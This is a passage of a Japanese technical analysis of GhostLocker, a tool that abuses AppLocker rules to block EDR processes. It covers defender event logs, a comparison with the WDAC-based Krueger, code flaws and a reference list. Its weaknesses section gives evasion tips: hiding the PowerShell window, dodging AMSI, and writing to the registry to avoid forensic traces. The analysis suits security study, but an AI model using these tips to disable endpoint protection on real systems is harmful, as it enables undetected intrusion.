AppLockerのイベントログ(→ [Ref.16])には、ブロックされたプロセスの情報が記録されます。ログの場所は Applications and Services Logs\Microsoft\Windows\AppLocker で、EXE/DLL、MSI/Script、Packaged Appの3つのサブログに分かれています。防御側はこれらのログを監視することで、AppLockerポリシーの悪用を検知できます。
8. 2版の比較と攻撃的観点でのトレードオフ
| 観点 | main.cpp(動的列挙版) | main_improved.cpp(ワイルドカード版) |
|---|---|---|
| 事前偵察の必要性 | ターゲットが実行中であること | 不要(プロセス名のみで十分) |
| PPL回避の必要性 | NtQuerySystemInformationで迂回(→ [Ref.6]) | 不要 |
| パス精度 | 正確な絶対パス | ワイルドカード(同名バイナリを全てブロック) |
| 副作用リスク | 低い(特定パスのみ) | ファイル名が重複する正規バイナリもブロック |
| コード複雑度 | 高い(未公開API、パス変換) | 低い(40行程度のロジック削減) |
| 検知回避 | NtQuerySystemInformationの呼び出しが検知対象になりうる | APIコール自体が少ない |
| ボリューム番号依存 | あり(HarddiskVolume3ハードコード問題) | なし |
| マルチOS対応 | ボリューム番号が異なると失敗 | 問題なし |
ペネトレーションテスト観点での推奨: ワイルドカード版(main_improved.cpp)の方がロバストで、失敗する条件が少ないです。ただし、ターゲット環境に同名の別バイナリが存在する場合の副作用評価は事前に行うべきです。
WDACとの比較
GhostLockerの比較対象として、WDAC(Windows Defender Application Control)を悪用したKrueger(→ [Ref.17])があります。WDACはAppLockerよりも強力で、カーネルモードドライバの読み込みもブロックできます(→ [Ref.18])。主な違いは以下の通りです。
- AppLocker(GhostLocker): ユーザーモードプロセスの生成時にブロック。カーネルドライバは影響を受けない。ユーザー/グループ単位のルール設定が可能。
- WDAC(Krueger): ブート時+ランタイムの両方でカーネル・ユーザーモード両方をブロック。システム全体に適用。
9. コード上の弱点・改善余地
ボリューム番号ハードコード(main.cpp 162行目)
前述の通り、HarddiskVolume3 が固定値です。QueryDosDeviceW(→ [Ref.9])による動的解決が必要です。
エラーハンドリングの不足
ShellExecuteW(→ [Ref.13])の戻り値を確認していません(main.cpp 377-384行目)。ShellExecuteW は成功時に32を超える HINSTANCE を返し、失敗時は32以下を返します。UACがキャンセルされた場合や、PowerShellがブロックされている場合の処理がありません。
バッファサイズの固定値(main.cpp 189行目)
LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, 1024) の1024バイトは、長いパスでは不足する可能性があります。NtQuerySystemInformation が STATUS_INFO_LENGTH_MISMATCH を返した場合に ReturnLength を使ってリトライするロジックが欠けています(→ [Ref.1c] のGeoff Chappell氏の解析参照)。
PowerShellへの依存
ポリシー適用に Set-AppLockerPolicy コマンドレット(→ [Ref.4b])を使用しているため、PowerShell Constrained Language Mode や AMSI(Antimalware Scan Interface)(→ [Ref.14])による検知の可能性があります。READMEで言及されている将来のC#実装では、IAppIdPolicyHandler COMインターフェースを直接呼び出すことでPowerShell依存を排除できます。
OPSEC上の懸念
SW_SHOW でPowerShellウィンドウが表示されるため、オペレーター以外のユーザーに気づかれるリスクがあります。SW_HIDE への変更、および -WindowStyle Hidden パラメータの追加が実運用では必要です。
一時ファイルの痕跡
Set-Content で一時ファイルにXMLを書き出し、Remove-Item で削除していますが、NTFSジャーナルやMFT残存エントリとしてフォレンジックアーティファクトが残ります。レジストリへの直接書き込み(reg.exe または .NET の Registry クラス)でファイル書き出しを回避できます。
10. リファレンス一覧
各リファレンスURLは2025年2月時点で検証済みです。一部のMicrosoft LearnドキュメントはURL構造が変更されることがあるため、404の場合はタイトルで検索してください。
| ID | タイトル | 対応箇所 |
|---|---|---|
| 1a | phnt — System Informer Native API headers | ntdefs.hの列挙型・構造体定義の元リポジトリ |
| 1b | NtDoc — Native APIオンラインリファレンス | SYSTEM_PROCESS_ID_INFORMATION等の詳細ドキュメント。diversenok氏がコンテンツ提供 |
| 1c | SYSTEM_PROCESS_ID_INFORMATION (Geoff Chappell) | 構造体のレイアウト、入出力仕様、エラーハンドリングの逆アセンブリ解析 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 2 | diversenok — GitHubプロフィール | AppLockerワイルドカードルールの指摘、IFEOからAppLockerへの転換のきっかけ |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 3 | AppLocker概要 (Microsoft公式) | AppLockerのルールタイプ、強制モード、DenyルールのAllow優先の仕様 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 4a | AppLocker RuleCollectionExtensions | ThresholdExtensions/Services、RedstoneExtensions/SystemAppsの公式仕様。両方の同時設定が必須との警告あり |
| 4b | Set-AppLockerPolicy コマンドレット | XMLポリシーファイルの適用方法、-Mergeパラメータの仕様 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 5 | NtQuerySystemInformation (Microsoft公式) | 公式にはSystemBasicInformation等の一部クラスのみ記載。SystemProcessIdInformationは未記載 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 6 | SystemProcessIdInformation使用例 (TheWover) | PPLプロセスのイメージパスをハンドル不要で取得するコード実例 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 7 | AppLocker Configuration Schema (Mattifestation) | XMLの完全スキーマ定義。RuleCollection、FilePathRule、FilePublisherRuleの構造 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 8a | Protecting Anti-Malware Services (PPL) | PPLの仕組み、ELAMドライバとの連携、保護されたプロセスへの制限 |
| 8b | Process Security and Access Rights | OpenProcessのアクセス権限とPPLによる制限の詳細 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 9 | QueryDosDeviceW (Microsoft公式) | ボリューム番号の動的解決に使用すべきAPI |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 10a | powershell.exe コマンドライン引数 | -EncodedCommand、-ExecutionPolicy Bypass、-NoProfileの仕様 |
| 10b | PowerShell文字列エンコーディング | -EncodedCommandがUTF-16LEを要求する理由 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 11 | CreateToolhelp32Snapshot (Microsoft公式) | TH32CS_SNAPPROCESSフラグ、PROCESSENTRY32構造体 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 12 | Microsoft Defender Antivirus Architecture | userlandエンジン+kernelドライバの構成。他のEDRも同様のアーキテクチャ |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 13 | ShellExecuteW (Microsoft公式) | "runas"動詞によるUAC昇格、SW_SHOW/SW_HIDEパラメータ |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 14 | AMSI概要 (Microsoft公式) | PowerShellスクリプトの実行時検査。EncodedCommand経由でもデコード後に検査される |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 15 | Well-Known SIDs (Microsoft公式) | S-1-1-0 (Everyone)、S-1-5-18 (Local System) の定義と用途 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 16 | AppLockerイベントの監視 | EXE/DLL、MSI/Script、Packaged Appの各イベントログの場所と内容。防御側の検知に必須 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 17 | Krueger — WDAC Abuse PoC | WDACを使ったEDRドライバブロック。GhostLockerとの比較対象 |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 18 | App Control for Business概要 | WDACのアーキテクチャ、カーネル+ユーザーモードの両方を制御する仕組み |
| ID | タイトル | 対応箇所 |
|---|---|---|
| 19 | AppLocker Requirements | AppLockerの動作要件、Windows 10以降のエディション制限の緩和(KB 5024351) |
| 20 | ELAM(Early Launch Anti-Malware) | PPLプロセスの基盤となるELAMドライバの仕組み |
| 21 | AppLocker Deployment Guide | ポリシーの展開手順と順序 |
| 22 | SALアノテーション (Microsoft公式) | ntdefs.hの _Field_size_bytes_part_opt_ の意味 |
| 23 | GhostLocker GitHubリポジトリ(ツール本体) | 本ドキュメントの解析対象ツール |